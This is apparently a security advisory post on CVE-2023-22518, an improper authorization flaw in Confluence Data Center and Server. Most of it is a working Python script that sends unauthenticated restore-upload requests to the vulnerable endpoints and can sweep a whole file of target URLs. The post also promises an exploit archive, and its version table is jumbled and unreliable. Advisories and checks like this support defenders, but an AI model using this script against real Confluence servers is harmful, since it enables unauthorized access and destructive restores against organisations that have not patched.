Improper Authorization Vulnerability in Confluence Data Center and Server.
Atlassian has alerted administrators about a critical vulnerability in Confluence. Exploiting this issue can lead to data loss, so developers urge you to install patches as soon as possible.
It is noted that the vulnerability cannot be used for data leakage, and it does not affect Atlassian Cloud sites accessed through the atlassian.net domain.
https://jira.atlassian.com/browse/CONFSERVER-93142
Product | Affected Versions | Fixed Versions |
---|---|---|
Confluence Data Center | All versions are affected | 7.19.16 or later |
Confluence Server | 8.3.4 or later | |
8.4.4 or later | ||
8.5.3 or later | ||
8.6.1 or later |
Class: Improper authorization
CWE: CWE-285 / CWE-266
ATT&CK: T1548.002
/json/setup-restore.action
/json/setup-restore-local.action
/json/setup-restore-progress.action
/server-info.action Community Forum
import requests
import random
import string
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def post_setup_restore(baseurl):
paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
for path in paths:
url = f"{baseurl.rstrip('/')}{path}"
headers = {
"X-Atlassian-Token": "no-check",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
}
rand_str = random_string()
data = (
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
"true\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
f"{rand_str}\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
"Upload and import\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
)
try:
response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)
if (response.status_code == 200 and
'The zip file did not contain an entry' in response.text and
'exportDescriptor.properties' in response.text):
print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
else:
print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
except requests.RequestException as e:
print(f"[*] Error connecting to {url}. Error: {e}")
def main():
parser = argparse.ArgumentParser(description="Post setup restore script")
parser.add_argument('--url', help='The URL to target', required=False)
parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
args = parser.parse_args()
if args.url:
post_setup_restore(args.url)
elif args.file:
with open(args.file, 'r') as f:
for line in f:
url = line.strip()
if url:
post_setup_restore(url)
else:
print("You must provide either --url or --file argument.")
if __name__ == "__main__":
main()
exploit-restore.zip will be attached later